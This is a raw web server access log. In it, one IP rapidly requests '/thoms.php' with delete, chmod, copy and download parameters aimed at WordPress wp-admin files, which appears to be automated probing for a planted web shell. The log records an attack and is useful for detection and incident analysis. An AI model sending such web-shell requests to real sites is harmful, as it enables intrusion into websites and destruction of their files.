45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?del=ms-edit.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=plugins.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=plugins.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?chmod=admin.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?del=import.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=import.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fload-styles.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fload-styles.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:51 -0400] "GET /thoms.php?dl=profile.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?del=options-head.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupdate-core.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupdate-core.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?dl=upgrade.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-footer.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-footer.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /biotaiwan.com.tw/wp-admin/install-helper.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?chmod=ms-admin.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?dl=site-health.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=site-health.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?del=press-this.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=press-this.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?chmod=theme-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?chmod=admin-functions.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?del=admin.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?chmod=edit-tag-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-tag-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /biotaiwan.com.tw/wp-admin/options-connectors.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?dl=install-helper.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /thoms.php?dl=media.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:52 -0400] "GET /biotaiwan.com.tw/wp-admin/plugins.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?chmod=contribute.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=contribute.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?del=custom-background.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=custom-background.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?chmod=my-sites.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=my-sites.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-privacy.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=options-privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?chmod=privacy.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=privacy.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?chmod=import.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?del=network&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=network&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?del=custom-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /thoms.php?del=link-add.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:53 -0400] "GET /biotaiwan.com.tw/wp-admin/ms-users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?dl=press-this.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?chmod=customize.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?del=customize.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=customize.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?del=freedoms.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=freedoms.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /biotaiwan.com.tw/wp-admin/themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?dl=tools.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?chmod=maint&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=maint&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmaint&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmaint&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?chmod=install-helper.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?del=menu-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?chmod=upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /thoms.php?dl=admin-functions.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:54 -0400] "GET /biotaiwan.com.tw/wp-admin/edit-tags.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?dl=privacy.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fsetup-config.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fsetup-config.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fsite-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fsite-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /biotaiwan.com.tw/wp-admin/ms-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcustom-background.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcustom-background.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?chmod=site-health-info.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /biotaiwan.com.tw/wp-admin/upgrade.php HTTP/1.1" 200 577 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /biotaiwan.com.tw/wp-admin/maint/ HTTP/1.1" 200 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?chmod=options.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:55 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fexport.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fexport.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
